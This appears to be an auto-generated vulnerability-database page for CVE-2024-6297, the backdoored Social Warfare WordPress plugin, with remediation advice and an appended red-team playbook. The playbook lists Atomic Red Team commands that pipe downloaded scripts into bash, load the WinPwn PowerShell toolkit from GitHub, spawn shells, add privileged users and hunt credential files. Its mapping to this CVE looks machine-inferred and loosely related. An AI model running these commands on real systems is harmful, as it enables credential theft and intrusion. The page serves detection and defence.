CVE-2024-6297
Overview
The vulnerability is a source code compromise leading to unauthorized PHP code injection within the Social Warfare WordPress plugin. The root cause is the malicious alteration of plugin files hosted on WordPress.org, specifically injecting PHP scripts that operate within the plugin's core functionality. This affects the Social Warfare plugin's codebase, allowing execution of unauthorized PHP commands embedded in the compromised plugin files.
Vulnerability Description
Several plugins for WordPress hosted on WordPress.org have been compromised and injected with malicious PHP scripts. A malicious threat actor compromised the source code of various plugins and injected code that exfiltrates database credentials and is used to create new, malicious, administrator users and send that data back to a server. Currently, not all plugins have been patched and we strongly recommend uninstalling the plugins for the time being and running a complete malware scan.
Impact
An unauthenticated remote attacker can exploit the injected malicious PHP code to exfiltrate sensitive database credentials and create new administrator accounts, enabling full control over the WordPress site. This compromise facilitates persistent unauthorized access, data theft, and potential site takeover. The attack requires no user interaction or authentication (CVSS: AV:N/AC:L/PR:N/UI:N), making it highly exploitable and critical in impact, with complete confidentiality, integrity, and availability compromise (C:H/I:H/A:H).
Solution
Uninstall the Social Warfare plugin immediately if it is installed and suspected to be compromised. Refer to the WordPress Plugin Review Team advisory and Wordfence threat intelligence report for detailed remediation steps and verification. Only reinstall the plugin after confirming the source code integrity and applying the latest clean version released post-compromise. Conduct a full malware scan on the affected WordPress environment to ensure removal of injected code and unauthorized administrator accounts.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The recent compromise of several WordPress plugins has raised significant concerns within the cybersecurity community. This vulnerability stems from the injection of malicious PHP scripts into the source code of various plugins available on the WordPress.org platform. The attackers managed to alter the plugins, allowing them to exfiltrate sensitive database credentials. Furthermore, the injected code facilitates the creation of new, unauthorized administrator accounts, enabling the attackers to maintain persistent access to compromised sites. The severity of this vulnerability is underscored by its perfect CVSS score of 10.0, indicating an extremely high level of risk.
Attack vectors associated with this vulnerability are particularly alarming due to the widespread use of the affected plugins. Once a site administrator installs a compromised plugin, the malicious code can execute without any user interaction. The attackers can leverage this backdoor to extract sensitive information, such as database credentials, which can then be used to escalate their privileges further or pivot to other systems within the network. Exploitation scenarios may include the attackers gaining full control over the website, leading to defacement, data theft, or even the distribution of additional malware to site visitors. The ease of exploitation, combined with the potential for extensive damage, makes this vulnerability a critical threat to WordPress users.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on WordPress for their online presence. Compromised websites can suffer from reputational damage, loss of customer trust, and financial repercussions due to data breaches or service disruptions. Additionally, businesses may face legal liabilities if customer data is exposed, leading to potential fines and regulatory scrutiny. The risk extends beyond immediate financial losses; the long-term effects on brand reputation and customer loyalty can be devastating. As many organizations use WordPress for e-commerce, the implications of a successful attack can be particularly severe, affecting not only the business but also its customers.
To detect and mitigate the risks associated with this vulnerability, organizations must adopt a proactive approach. Immediate steps include uninstalling the affected plugins and conducting thorough malware scans across all WordPress installations. Regular updates and patches should be prioritized, as not all plugins may have been addressed by their developers. Implementing a web application firewall (WAF) can help filter out malicious traffic and provide an additional layer of security. Furthermore, organizations should establish a routine for monitoring plugin integrity and employing security plugins that can detect unauthorized changes to the codebase. Educating site administrators about secure coding practices and the importance of using reputable sources for plugins can also mitigate the risk of future compromises.
In conclusion, the compromise of WordPress plugins represents a significant threat to the security of websites that utilize this popular content management system. The technical details of the vulnerability reveal a sophisticated attack that can lead to severe consequences for affected organizations. By understanding the attack vectors and potential exploitation scenarios, businesses can better prepare themselves against such threats. Implementing robust detection and mitigation strategies is essential to safeguard sensitive data and maintain the integrity of online operations. As the landscape of cybersecurity continues to evolve, vigilance and proactive measures will be key in defending against such vulnerabilities.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Sudo-WP/sudowp-hooks-visualizer
A security-hardened fork of "Simply Show Hooks". Replaces the compromised original (CVE-2024-6297) and patches unlisted ...
|
Sudo-WP | 2 | 0 | 2026-01-10 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.